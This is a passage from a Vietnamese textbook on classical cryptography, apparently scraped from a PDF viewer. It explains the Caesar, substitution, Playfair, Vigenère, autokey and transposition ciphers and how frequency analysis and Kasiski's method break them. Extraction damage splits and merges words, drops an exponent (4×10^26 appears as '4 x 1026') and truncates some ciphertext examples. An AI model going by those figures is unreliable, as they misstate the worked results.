nguyên lý và phươ ng pháp mã hoá. Hiện nay ngườ i ta đưa ra nhiều chuẩn an toàncho các l ĩ nh vực khác nhau của công nghệ thông tin.

Page 15: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 15/147

 - 15 -

8.  Thám mã nghiên cứu các nguyên lý và phươ ng pháp giải mã mà không biết khoá.Thông thườ ng khi đưa các mã mạnh ra làm chuẩn dùng chung giữa các ngườ i sử dụng, các mã đó đượ c các k ẻ thám mã cũng như những ngườ i phát triển mã tìmhiểu nghiên cứu các phươ ng pháp giải một phần bản mã vớ i các thông tin khôngđầy đủ.

9.  Lý thuyết mã bao gồm cả mật mã và thám mã. Nó là một thể thống nhất, để đánhgiá một mã mạnh hay không, đều phải xét từ cả hai khía cạnh đó. Các nhà khoahọc mong muốn tìm ra các mô hình mã hóa khái quát cao đáp ứng nhiều chínhsách an toàn khác nhau.

Mô hình mã đối xứ ng

II.1.2 Các yêu cầu.Một mã đối xứng có các đặc tr ưng là cách xử lý thông tin của thuật toán mã, giải mã, tác

động của khóa vào bản mã, độ dài của khóa. Mối liên hệ giữa bản rõ, khóa và bản mãcàng phức tạ p càng tốt, nếu tốc độ tính toán là chấ p nhận đượ c. Cụ thể hai yêu cầu để sử dụng an toàn mã khoá đối xứng là

1.  Thuật toán mã hoá mạnh. Có cơ  sở  toán học vững chắc đảm bảo r ằng mặc dùcông khai thuật toán, mọi ngườ i đều biết, nhưng việc thám mã là r ất khó khăn và phức tạ p nếu không biết khóa.

2.  Khoá mật chỉ có ngườ i gửi và ngườ i nhận biết. Có kênh an toàn để phân phốikhoá giữa các ngườ i sử dụng chia sẻ khóa. Mối liên hệ giữa khóa và bản mã làkhông nhận biết đượ c.

II.1.3 Mật mãHệ mật mã đượ c đặc tr ưng bở i các yếu tố sau

- Kiểu của thao tác mã hoá đượ c sử dụng trên bản rõ:1.  Phép thế - thay thế các ký tự trên bản rõ bằng các ký tự khác2.  Hoán vị - thay đổi vị trí các ký tự trong bản rõ, tức là thực hiện hoán vị 

các ký tự của bản rõ.3.  Tích của chúng, tức là k ết hợ  p cả hai kiểu thay thế và hoán vị các ký tự 

của bản rõ.- Số khoá đượ c sử dụng khi mã hóa: một khoá duy nhất - khoá riêng hoặc hai khoá -khoá công khai. Ngoài ra còn xem xét số khóa đượ c dùng có nhiều không.

Page 16: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 16/147

 - 16 -

- Một đặc tr ưng của mã nữa là cách mà bản rõ đượ c xử lý, theo:1.  Khối - dữ liệu đượ c chia thành từng khối có kích thướ c xác định và áp

dụng thuật toán mã hóa vớ i tham số khóa cho từng khối.2.  Dòng - từng phần tử đầu vào đượ c xử lý liên tục tạo phần tử đầu ra tươ ng

ứng.

II.1.4 Thám mã.Có hai cách tiế p cận tấn công mã đối xứng.1.  Tấn công thám mã dựa trên thuật toán và một số thông tin về các đặc

tr ưng chung về bản rõ hoặc một số mẫu bản rõ/bản mã. Kiểu tấn công nàynhằm khai phá các đặc tr ưng của thuật toán để tìm bản rõ cụ thể hoặc tìmkhóa. Nếu tìm đượ c khóa thì là tai họa lớ n.

2.  Tấn công duyệt toàn bộ: k ẻ tấn công tìm cách thử mọi khóa có thể trên bảnmã cho đến khi nhận đượ c bản rõ. Trung bình cần phải thử một nửa số khóa mớ i tìm đượ c.

Các kiểu tấn công thám mã.

- Chỉ dùng bản mã: biết thuật toán và bản mã, dùng phươ ng pháp thống kê, xác định bản rõ. - Biết bản rõ: biết thuật toán, biết đượ c bản mã/bản rõ tấn công tìm khóa. - Chọn bản rõ: chọn bản rõ và nhận đượ c bản mã, biết thuật toán tấn công tìm khóa. - Chọn bản mã: chọn bản mã và có đượ c bản rõ tươ ng ứng, biết thuật toán tấn côngtìm khóa. - Chọn bản tin: chọn đượ c bản rõ hoặc mã và mã hoặc giải mã tuơ ng ứng, tấn côngtìm khóa. 

II.1.5 Tìm duyệt tổng thể (Brute-Force)Về mặt lý thuyết phươ ng pháp duyệt tổng thể là luôn thực hiện đượ c, do có thể tiến hành

thử từng khoá, mà số khoá là hữu hạn. Phần lớ n công sức của các tấn công đều tỷ lệ thuận vớ i kích thướ c khoá. Khóa càng dài thờ i gian tìm kiếm càng lâu và thườ ng tăngtheo hàm mũ. Ta có thể giả thiết là k ẻ thám mã có thể dựa vào bối cảnh để biết hoặc nhận biết đượ c bản rõ.

Sau đây là một số thống kê về mối liên hệ giữa độ dài khóa, kích thướ c không giankhóa, tốc độ xử lý và thờ i gian tìm duyệt tổng thể. Chúng ta nhận thấy vớ i độ dài khóa từ 128 bit tr ở  lên, thờ i gian yêu cầu là r ất lớ n, lên đến hàng tỷ năm, như vậy có thể coi phươ ng pháp duyệt tổng thể là không hiện thực.

Page 17: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 17/147

 - 17 -

II.1.6 Độ an toàn.Có thể phân lọai an toàn thành hai kiểu như sau:- An toàn không điều kiện: ở  đây không quan tr ọng máy tính mạnh như thế nào, có

thể thực hiện đượ c bao nhiêu phép toán trong một giây, mã hoá không thể bị bẻ, vì bản mã không cung cấ p đủ thông tin để xác định duy nhất bản rõ. Việc dùng bộ đệmngẫu nhiên một lần để mã dòng cho dữ liệu mà ta sẽ xét cuối bài này đượ c coi là antoàn không điều kiện. Ngoài ra chưa có thuật toán mã hóa nào đượ c coi là an toànkhông điều kiện.- An toàn tính toán: vớ i nguồn lực máy tính giớ i hạn và thờ i gian có hạn (chẳng hạnthờ i gian tính toán không quá tuổi của vũ tr ụ) mã hoá coi như không thể bị bẻ. Trongtr ườ ng hợ  p này coi như mã hóa an toàn về mặt tính toán. Nói chung từ nay về sau,một thuật toán mã hóa an toàn tính toán đượ c coi là an toàn.

II.2 Các mã thế cổ điển thay thế 

Có hai loại mã cổ điển là mã thay thế và mã hoán vị (hay còn gọi là dịch chuyển).Mã thay thế là phươ ng pháp mà từng kí tự (nhóm kí tự) trong bản rõ đượ c thay thế bằngmột kí tự (một nhóm kí tự) khác để tạo ra bản mã. Bên nhận chỉ cần thay thế ngượ c lạitrên bản mã để có đượ c bản rõ ban đầu.Trong phươ ng pháp mã hoán vị, các kí tự trong bản rõ vẫn đượ c giữ nguyên, chúng chỉ đượ c sắ p xế p lại vị trí để tạo ra bản mã. Tức là các kí tự trong bản rõ hoàn toàn không bị thay đổi bằng kí tự khác mà chỉ đảo chỗ của chúng để tạo thành bản mã.

Tr ướ c hết ta xét các mã cổ điển sử dụng phép thay thế các chữ của bản rõ bằng các chữ khác của bảng chữ để tạo thành bản mã.

- Ở đây các chữ của bản rõ đượ c thay bằng các chữ hoặc các số hoặc các ký tự khác.- Hoặc nếu xem bản rõ như môt dãy bít, thì phép thế thay các mẫu bít bản rõ bằng cácmẫu bít bản mã.

II.2.1 Mã CeasarĐây là mã thế đượ c biết sớ m nhất, đượ c sáng tạo bở i Julius Ceasar. Lần đầu tiên đượ c sử dụng trong quân sự. Việc mã hoá đượ c thực hiện đơ n giản là thay mỗi chữ trong bản rõ bằng chữ thứ ba tiế p theo trong bảng chữ cái.

•  Ví dụ:o  Meet me after the toga partyo  PHHW PH DIWHU WKH WRJD SDUWB

Ở đây thay chữ m bằng chữ đứng thứ 3 sau m là p (m, n, o, p); thay chữ e bằng chữ đứngthứ 3 sau e là h (e, f, g, h).•  Có thể định ngh ĩ a việc mã hoá trên qua ánh xạ trên bảng chữ cái sau: các chữ  ở  

dòng dướ i là mã của các chữ tươ ng ứng ở dòng trên:

a b c d e f g h i j k l m n o p q r s t u v w x y z

D E F G H I J K L M N O P Q R S T U V W X Y Z A B C

Page 18: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 18/147

 - 18 -

•  Về toán học, nếu ta gán số thứ tự cho mỗi chữ trong bảng chữ cái. Các chữ  ở  dòng trên có số thứ tự tươ ng ứng là số ở dòng dướ i:a b c d e f g h i j k l m

0 1 2 3 4 5 6 7 8 9 10 11 12

n o p q r s t u v w x y z

13 14 15 16 17 18 19 20 21 22 23 24 25 thì mã Ceasar đượ c định ngh ĩ a qua phép tịnh tiến các chữ như sau:c = E(p ) = (p + k ) mod (26)p = D(c) = (c – k ) mod (26)

Ở đây, p là số thứ tự của chữ trong bản rõ và c là số thứ tự của chữ tươ ng ứng của bản mã; k là khoá của mã Ceasar. Có 26 giá tr ị khác nhau của k, nên có 26 khoákhác nhau. Thực tế độ dài khoá ở  đây chỉ là 1, vì mọi chữ đều tịnh tiến đi mộtkhoảng như nhau.

•  Thám mã Ceasar là việc làm đơ n giản, do số khoá có thể có là r ất ít.Chỉ có 26 khoá có thể, vì A chỉ có thể ánh xạ vào một trong số 26 chữ cái của bảng chữ cái tiếng Anh: A, B, C, …Các chữ khác sẽ đượ c xác định bằng số bướ c

tịnh tiến tươ ng ứng của A. K ẻ thám mã có thể thử lần lượ t từng khoá một, tức làsử dụng phươ ng pháp tìm duyệt tổng thể. Vì số khoá ít nên việc tìm duyệt là khả thi. Cho tr ướ c bản mã, thử 26 cách dịch chuyển khác nhau, ta sẽ đoán nhận thôngqua nội dung các bản rõ nhận đượ c.

Ví dụ. Bẻ bản mã "GCUA VQ DTGCM"  bằng cách thử các phép tịnh tiến khác nhaucủa bảng chữ, ta chọn đượ c bướ c tịnh tiến thích hợ   p là 24 và cho bản rõ là "easy to break".

II.2.2 Các mã bảng chữ  đơ nBây giờ ta khắc phục nhượ c điểm của mã Ceasar bằng cách mã hoá các chữ không chỉ là

dịch chuyển bảng chữ, mà có thể tạo ra các bướ c nhảy khác nhau cho các chữ. Trong mộtmã mỗi chữ của bản rõ đượ c ánh xạ đến một chữ khác nhau của bản mã. Do đó mỗi cáchmã như vậy sẽ tươ ng ứng vớ i một hoán vị của bảng chữ và hoán vị đó chính là khoá củamã đã cho. Như vậy độ dài khoá ở  đây là 26 và số khoá có thể có là 26!. Số khoá như vậy là r ất lớ n.

Ví dụ. Ta có bản mã tươ ng ứng vớ i bản rõ trong mã bảng chữ đơ n như sau:Plain: abcdefghijklmnopqrstuvwxyz

Cipher: DKVQFIBJWPESCXHTMYAUOLRGZN

Plaintext: ifwewishtoreplaceletters

Ciphertext: WIRFRWAJUHYFTSDVFSFUUFYA 

- Tính an toàn của mã trên bảng chữ đơ n. Tổng cộng có 26! xấ p xỉ khoảng 4 x 1026

 khoá. Vớ i khá nhiều khoá như vậy nhiều ngườ i ngh ĩ  là mã trên bảng chữ đơ n sẽ antoàn. Nhưng không phải như vậy. Vấn đề ở  đây là do các đặc tr ưng về ngôn ngữ. Tuycó số lượ ng khoá lớ n, nhưng do các đặc tr ưng về tần suất xuất hiện của các chữ trong bản rõ và các chữ tươ ng ứng trong bản mã là như nhau, nên k ẻ thám mã có thể đoánđượ c ánh xạ của một số chữ và từ đó mò tìm ra chữ mã cho các chữ khác. Ta sẽ xétkhía cạnh này cụ thể trong mục sau.

Page 19: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 19/147

 - 19 -

- Tính dư thừa của ngôn ngữ và thám mã. Ngôn ngữ của loài ngườ i là dư thừa. Cómột số chữ hoặc các cặ p chữ hoặc bộ ba chữ đượ c dùng thườ ng xuyên hơ n các bộ chữ cùng độ dài khác. Chẳng hạn như các bộ chữ sau đây trong tiếng Anh "th lrd s mshphrd shll nt wnt". Tóm lại trong nhiều ngôn ngữ các chữ không đượ c sử dụngthườ ng xuyên như nhau. Trong tiếng Anh chữ E đượ c sử dụng nhiều nhất; sau đó đến

các chữ T, R, N, I, O, A, S. Một số chữ r ất ít dùng như: Z, J, K, Q, X. Bằng phươ ng pháp thống kê, ta có thể xây dựng các bảng các tần suất các chữ đơ n, cặ p chữ, bộ bachữ.

Bảng tần suất chữ cái tiếng Anh:

•  Sử dụng bảng tần suất vào việc thám mã

Điều quan tr ọng là mã thế trên bảng chữ đơ n không làm thay đổi tần suất tươ ngđối của các chữ, có ngh ĩ a là ta vẫn có bảng tần suất trên nhưng đối vớ i bảng chữ mã tươ ng ứng. Điều đó đượ c phát hiện bở i các nhà khoa học Ai cậ p từ thế k ỷ thứ 9. Do đó có cách thám mã trên bảng chữ đơ n như sau:- Tính toán tần suất của các chữ trong bản mã- So sánh vớ i các giá tr ị đã biết- Tìm kiếm các chữ đơ n hay dùng A-I-E, bộ đôi NO và bộ ba RST; và các bộ ítdùng JK, X-Z..- Trên bảng chữ đơ n cần xác định các chữ dùng các bảng bộ đôi và bộ ba tr ợ giúp.

Ví dụ. Thám mã bản mã trên bảng chữ đơ n, cho bản mã: 

UZQSOVUOHXMOPVGPOZPEVSGZWSZOPFPESXUDBMETSXAIZVUEPHZHMDZSHZOWSFPAPPDTSVPQUZWYMXUZUHSXEPYEPOPDZSZUFPOUDTMOHMQ- Tính tần suất các chữ - Đoán P và Z là e và t.- Khi đó ZW là th và ZWP là the.- Suy luận tiế p tục ta có bản rõ:

it was disclosed yesterday that several informal but

Page 20: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 20/147

 - 20 -

direct contacts have been made with politicalrepresentatives in moscow

II.2.3 Mã Playfair Như chúng ta đã thấy không phải số khoá lớ n trong mã bảng chữ đơ n đảm bảo an toàn

mã. Một trong các hướ ng khắc phục là mã bộ các chữ, tức là mỗi chữ sẽ đượ c mã bằngmột số chữ khác nhau tùy thuộc vào các chữ mà nó đứng cạnh. Playfair là một trong cácmã như vậy, đượ c sáng tạo bở i Charles Wheastone vào năm 1854 và mang tên ngườ i bạnlà Baron Playfair. Ở đây mỗi chữ có thể đượ c mã bằng một trong 7 chữ khác nhau tùyvào chữ cặ p đôi cùng nó trong bản rõ.Ma tr ận khoá Playfair. Cho tr ướ c một từ làm khoá, vớ i điều kiện trong từ khoá đó khôngcó chữ cái nào bị lặ p. Ta lậ p ma tr ận Playfair là ma tr ận cỡ 5 x 5 dựa trên từ khoá đã chovà gồm các chữ trên bảng chữ cái, đượ c sắ p xế p theo thứ tự như sau:

- Tr ướ c hết viết các chữ của từ khoá vào các hàng của ma tr ận bắt từ hàng thứ nhất.- Nếu ma tr ận còn tr ống, viết các chữ khác trên bảng chữ cái chưa đượ c sử dụng

vào các ô còn lại. Có thể viết theo một trình tự qui ướ c tr ướ c, chẳng hạn từ đầu bảng chữ cái cho đến cuối.- Vì có 26 chữ cái tiếng Anh, nên thiếu một ô. Thông thuờ ng ta dồn hai chữ nàođó vào một ô chung, chẳng hạn I và J.- Giả sử sử dụng từ khoá MORNACHY. Lậ p ma tr ận khoá Playfair tươ ng ứngnhư sau:

MONAR

CHYBD

EFGIK

LPQST

UVWXZ

Mã hoá và giải mã: bản rõ đượ c mã hoá 2 chữ cùng một lúc theo qui tắc như sau:- Chia bản rõ thành từng cặ p chữ. Nếu một cặ p nào đó có hai chữ như nhau, thì tachèn thêm một chữ lọc chẳng hạn X. Ví dụ, tr ướ c khi mã “balloon” biến đổithành “ba lx lo on”. - Nếu cả hai chữ trong cặ p đều r ơ i vào cùng một hàng, thì mã mỗi chữ bằng chữ ở   phía bên phải nó trong cùng hàng của ma tr ận khóa (cuộn vòng quanh từ cuối về đầu), chẳng hạn “ar” biến đổi thành “RM”- Nếu cả hai chữ trong cặ p đều r ơ i vào cùng một cột, thì mã mỗi chữ bằng chữ ở  

 phía bên dướ i nó trong cùng cột của ma tr ận khóa (cuộn vòng quanh từ cuối về đầu), chẳng hạn “mu” biến đổi thành “CM”- Trong các tr ườ ng hợ  p khác, mỗi chữ trong cặ p đượ c mã bở i chữ cùng hàng vớ inó và cùng cột vớ i chữ cùng cặ p vớ i nó trong ma tr ận khóa. Chẳng hạn, “hs” mãthành “BP”, và “ea” mã thành “IM” hoặc “JM” (tuỳ theo sở thích)

An toàn của mã Playfair:- An toàn đượ c nâng cao so hơ n vớ i bảng đơ n, vì ta có tổng cộng 26 x 26 = 676cặ p. Mỗi chữ có thể đượ c mã bằng 7 chữ khác nhau, nên tần suất các chữ trên bảnmã khác tần suất của các chữ cái trên văn bản tiếng Anh nói chung.- Muốn sử dụng thống kê tần suất, cần phải có bảng tần suất của 676 cặ p để thámmã (so vớ i 26 của mã bảng đơ n). Như vậy phải xem xét nhiều tr ườ ng hợ  p hơ n và

Page 21: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 21/147

 - 21 -

tươ ng ứng sẽ có thể có nhiều bản mã hơ n cần lựa chọn. Do đó khó thám mã hơ nmã trên bảng chữ đơ n.- Mã Playfair đượ c sử dụng r ộng rãi nhiều năm trong giớ i quân sự Mỹ và Anhtrong chiến tranh thế giớ i thứ 1. Nó có thể bị bẻ khoá nếu cho tr ướ c vài tr ăm chữ,vì bản mã vẫn còn chứa nhiều cấu trúc của bản rõ.

II.2.4 Các mã đa bảngMột hướ ng khác làm tăng độ an toàn cho mã trên bảng chữ là sử dụng nhiều bảng chữ để mã. Ta sẽ gọi chúng là các mã thế đa bảng. Ở đây mỗi chữ có thể đượ c mã bằng bất k ỳ chữ nào trong bản mã tùy thuộc vào ngữ cảnh khi mã hoá. Làm như vậy để tr ải bằng tầnsuất các chữ xuất hiện trong bản mã. Do đó làm mất bớ t cấu trúc của bản rõ đượ c thể hiệntrên bản mã và làm cho thám mã đa bảng khó hơ n. Ta sử dụng từ khoá để chỉ rõ chọn bảng nào đượ c dùng cho từng chữ trong bản tin. Sử dụng lần lượ t các bảng theo từ khóađó và lặ p lại từ đầu sau khi k ết thúc từ khoá. Độ dài khoá là chu k ỳ lặ p của các bảng chữ.Độ dài càng lớ n và nhiều chữ khác nhau đượ c sử dụng trong từ khoá thì càng khó thámmã.

II.2.5 Mã VigenereMã thế đa bảng đơ n giản nhất là mã Vigenere. Thực chất quá trình mã hoá Vigenere làviệc tiếh hành đồng thờ i dùng nhiều mã Ceasar cùng một lúc trên bản rõ vớ i nhiều khoákhác nhau. Khoá cho mỗi chữ dùng để mã phụ thuộc vào vị trí của chữ đó trong bản rõ vàđượ c lấy trong từ khoá theo thứ tự tươ ng ứng.Giả sử khoá là một chữ có độ dài d đượ c viết dạng K = K 1K 2…K d, trong đó K i nhận giátr ị nguyên từ 0 đến 25. Khi đó ta chia bản rõ thành các khối gồm d chữ. Mỗi chữ thứ itrong khối chỉ định dùng bảng chữ thứ i vớ i tịnh tiến là K i giống như trong mã Ceasar.Trên thực tế khi mã ta có thể sử dụng lần lượ t các bảng chữ và lặ p lại từ đầu sau d chữ của bản rõ. Vì có nhiều bảng chữ khac nhau, nên cùng một chữ ở các vị trí khác nhau sẽ 

có các bướ c nhảy khác nhau, làm cho tần suất các chữ trong bản mã dãn tươ ng đối đều.Giải mã đơ n giản là quá trình làm ngượ c lại. Ngh ĩ a là dùng bản mã và từ khoá vớ i các bảng chữ tươ ng ứng, nhưng vớ i mỗi chữ sử dụng bướ c nhảy lui lại về đầu.

Ví dụ: Để sử dụng mã Vigenere vớ i từ khóa và bản rõ cho tr ướ c ta có thể làm như sau:- Viết bản rõ ra- Viết từ khoá lặ p nhiều lần phía trên tươ ng ứng của nó- Sử dụng mỗi chữ của từ khoá như khoá của mã Ceasar - Mã chữ tươ ng ứng của bản rõ vớ i bướ c nhảy tươ ng ứng.- Chẳng hạn sử dụng từ khoá deceptive

key: deceptivedeceptivedeceptive

plaintext: wearediscoveredsaveyourself

ciphertext:ZICVTWQNGRZGVTWAVZHCQYGL

Để mã chữ w đầu tiên ta tìm chữ đầu của khóa là d, như vậy w sẽ đượ c mã trên bảng chữ tịnh tiến 3 (tức là a tịnh tiến vào d). Do đó chữ đầu w đượ c mã bở i chữ Z. Chữ thứ haitrong từ khóa là e, có ngh ĩ a là chữ thứ hai trong bản rõ sẽ đượ c tịnh tiến 4 (từ a tịnh tiếnđến e). Như vậy thứ hai trong bản rõ e sẽ đượ c mã bở i chữ I. Tươ ng tự như vậy cho đếnhết bản rõ.

Page 22: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 22/147

 - 22 -

Trên thực tế để hỗ tr ợ mã Vigenere, ngườ i ta đã tạo ra trang Saint – Cyr để tr ợ giúp choviệc mã và giải mã thủ công. Đó là một bảng cỡ 26 x 26 có tên tươ ng ứng là các chữ cáitrong bảng chữ tiếng Anh. Hàng thứ i là tịnh tiến i chữ của bảng chứ cái. Khi đó chữ ở  cột đầu tiên chính là khoá của bảng chữ ở cùng hàng. Do đó chữ mã của một chữ trong

 bản rõ nằm trên cùng cột vớ i chữ đó và nằm trên hàng tươ ng ứng vớ i chữ khoá.ABCDEFGHIJKLMNOPQRSTUVWXYZ

A ABCDEFGHIJKLMNOPQRSTUVWXYZ

B BCDEFGHIJKLMNOPQRSTUVWXYZA

C CDEFGHIJKLMNOPQRSTUVWXYZAB

D DEFGHIJKLMNOPQRSTUVWXYZABC

E EFGHIJKLMNOPQRSTUVWXYZABCD

F FGHIJKLMNOPQRSTUVWXYZABCDE

G GHIJKLMNOPQRSTUVWXYZABCDEF

H HIJKLMNOPQRSTUVWXYZABCDEFG

I IJKLMNOPQRSTUVWXYZABCDEFGH

J JKLMNOPQRSTUVWXYZABCDEFGHI

K KLMNOPQRSTUVWXYZABCDEFGHIJ

L LMNOPQRSTUVWXYZABCDEFGHIJK

M MNOPQRSTUVWXYZABCDEFGHIJKL

N NOPQRSTUVWXYZABCDEFGHIJKLM

O OPQRSTUVWXYZABCDEFGHIJKLMN

P PQRSTUVWXYZABCDEFGHIJKLMNO

Q QRSTUVWXYZABCDEFGHIJKLMNOP

R RSTUVWXYZABCDEFGHIJKLMNOPQ

S STUVWXYZABCDEFGHIJKLMNOPQR

T TUVWXYZABCDEFGHIJKLMNOPQRS

U UVWXYZABCDEFGHIJKLMNOPQRST

V VWXYZABCDEFGHIJKLMNOPQRSTU

W WXYZABCDEFGHIJKLMNOPQRSTUV

X XYZABCDEFGHIJKLMNOPQRSTUVW

Y YZABCDEFGHIJKLMNOPQRSTUVWX

Z ZABCDEFGHIJKLMNOPQRSTUVWXY

Bảng Saint Cyr 

An toàn của mã Vigenere. Như vậy có chữ mã khác nhau cho cùng một chữ của bản rõ.

Suy ra tần suất của các chữ bị là phẳng, ngh ĩ a là tần suất xuất hiện các chữ trên bản mãtươ ng đối đều nhau. Tuy nhiên chưa mất hoàn toàn, do độ dài của khoá có hạn, nên có thể tạo nên chu k ỳ vòng lặ p. K ẻ thám mã bắt đầu từ tần suất của chữ để xem có phải đây làmã đơ n bảng chữ hay không. Giả sử đây là mã đa bảng chữ, sau đó xác định số bảng chữ trong từ khoá và lần tìm từng chữ. Như vậy cần tăng độ dài từ khoá để tăng số bảng chữ dùng khi mã để “là” tần suất của các chữ.

II.2.6 Phươ ng pháp thám mã Kasiski

Page 23: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 23/147

 - 23 -

Phươ ng pháp phát triển bở i Babbage và Kasiski. Ta thấy các chữ như nhau trên bản rõ vàcách nhau một khoảng đúng bằng độ dài từ khoá (chu k ỳ), thì sẽ đượ c mã bằng cùng mộtchữ. Như vậy từ độ lặ p của các chữ trong bản mã có thể cho phép xác định chu k ỳ. Tấtnhiên không phải khi nào cũng tìm đượ c độ dài từ khoá. Sau đó tìm các chữ trong từ khoá bằng cách tấn công từng bảng chữ đơ n vớ i cùng k ỹ thuật dựa trên các bảng tần suất của

các bộ chữ như tr ướ c.

II.2.7 Mã khoá tự  độngLý tưở ng nhất là ta có khoá dài như bản tin. Do đó Vigenere đề xuất khoá tự động sinhcho bằng độ dài bản tin như sau: từ khoá đượ c nối tiế p bằng chính bản rõ để tạo thànhkhoá. Sau đó dùng mã Vigenere để mã bản rõ đã cho. Khi đó biết từ khoá có thể khôi phục đượ c một số chữ ban đầu của bản rõ. Sau đó tiế p tục sử dụng chúng để giải mã chovăn bản còn lại. Sự cải tiến này làm mất khái niệm chu k ỳ, gây khó khăn cho việc thámmã, nhưng vẫn còn đặc tr ưng tần suất để tấn công.

Ví dụ. Cho từ khoá deceptive. Ta viết bản rõ nối tiế p vào từ khoá tạo thành từ khoá mớ i

có độ dài bằng độ dài bản rõ.key: deceptivewearediscoveredsav plaintext: wearediscoveredsaveyourself ciphertext:ZICVTWQNGKZEIIGASXSTSLVVWLA 

II.2.8 Bộ đệm một lần Nếu khoá thực sự ngẫu nhiên đượ c dùng và có độ dài bằng bản rõ thì ta nói đó là bộ đệmmột lần. Vì nó chỉ đượ c dùng một lần và ngẫu nhiên, nên mã hoá sẽ an toàn. Mã sẽ không bẻ đượ c vì bản mã không có liên quan thống kê gì vớ i bản rõ, do bộ đệm đượ c sinh ngẫunhiên. Có thể nói mã bộ đệm một lần là an toàn tuyệt đối, vì vớ i bản rõ bất k ỳ và bản mã bất k ỳ, luôn tồn tại một khoá để ánh xạ bản rõ đó sang bản mã đã cho. Về mặt lý thuyết,

xác suất để mọi mẩu tin (có cùng độ dài vớ i bản rõ) trên bảng chữ mã là mã của một bảnrõ cho tr ướ c là như nhau. Khoá chỉ sử dụng một lần, nên các lần mã là độc lậ p vớ i nhau.Vấn đề khó khăn của mã bộ đệm một lần là việc sinh ngẫu nhiên khóa và phân phối khoáan toàn. Do đó bộ đệm một lần ít đượ c sử dụng và chỉ dùng trong tr ườ ng hợ  p đòi hỏi bảomật r ất cao.

II.3 Các mã thế cổ điển hoán vị 

Trong các mục tr ướ c chúng ta đã xét một số mã thay thế, ở  đó các chữ của bản rõ đượ cthay thế bằng các chữ khác của bản mã. Bây giờ chúng ta xét đến loại mã khác, mã hoánvị, các chữ trong bản rõ không đượ c thay thế bằng các chữ khác mà chỉ thay đổi vị trí, tức

là việc mã hoá chỉ dịch chuyển vị trí tươ ng đối giữa các chữ trong bản rõ. Như vậy, nódấu bản rõ bằng cách thay đổi thứ tự các chữ, nó không thay đổi các chữ thực tế đượ cdùng. Do đó bản mã có cùng phân bố tần suất xuất hiện các chữ như bản gốc. Như vậy cóthể thám mã để phát hiện đượ c.

II.3.1 Mã Rail FenceĐây là mã hoán vị đơ n giản. Viết các chữ của bản rõ theo đườ ng chéo trên một số dòng.Sau đó đọc các chữ theo theo từng dòng sẽ nhận đượ c bản mã. Số dòng chính là khoá của

Page 24: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 24/147

 - 24 -

mã. Vì khi biết số dòng ta sẽ tính đượ c số chữ trên mỗi dòng và lại viết bản mã theo cácdòng sau đó lấy bản rõ bằng cách viết lại theo các cột.

Ví dụ. Viết bản tin “meet me after the toga party” lần lượ t trên hai dòng như saum e m a t r h t g p r y

e t e f e t e o a a t

Sau đó ghép các chữ ở dòng thứ nhất vớ i các chữ ở dòng thứ hai cho bản mã:MEMATRHTGPRYETEFETEOAAT 

II.3.2 Mã dịch chuyển dòngMã có sơ  đồ phức tạ p hơ n. Viết các chữ của bản tin theo các dòng vớ i số cột xác định.Sau đó thay đổi thứ tự các cột theo một dãy số khoá cho truớ c, r ồi đọc lại chúng theo cáccột để nhận đượ c bản mã. Quá trình giải mã đượ c thực hiện ngượ c lại.Ví dụ:

Key: 4 3 1 2 5 6 7

Plaintext: a t t a c k po s t p o n ed u n t i l tw o a m x y z

Ta đọc theo thứ tự các cột từ 1 đến 7 để nhận đượ c bản mã:Ciphertext: TTNAAPTMTSUOAODWCOIXKNLYPETZ

II.3.2 Mã tíchMã dùng hoán vị hoặc dịch chuyển không an toàn vì các đặc tr ưng tần xuất của ngôn ngữ không thay đổi. Có thể sử dụng một số mã liên tiế p nhau sẽ làm cho mã khó hơ n. Mã cổ điển chỉ sử dụng một trong hai phươ ng pháp thay thế hoặc hoán vị. Ngườ i ta ngh ĩ  đến

việc k ết hợ  p cả hai phươ ng pháp này trong cùng một mã và có thể sử dụng đan xen hoặclặ p nhiều vòng. Đôi khi ta tưở ng lặ p nhiều lần cùng một loại mã sẽ tạo nên mã phức tạ phơ n, nhưng trên thực tế trong một số tr ườ ng hợ  p về bản chất chúng cũng tươ ng đươ ngvớ i một lần mã cùng loại nào đó như: tích của hai phép thế sẽ là một phép thế; tích củahai phép hoán vị sẽ là một phép hoán vị. Nhưng nếu hai loại mã đó khác nhau thì sẽ tạonên mã mớ i phức tạ p hơ n, chính vì vậy phép thế đượ c nối tiế p bằng phép dịch chuyển sẽ tạo nên mã mớ i khó hơ n r ất nhiều. Đây chính là chiếc cầu nối từ mã cổ điển sang mã hiệnđại.Điểm yếu của mã cổ điển:

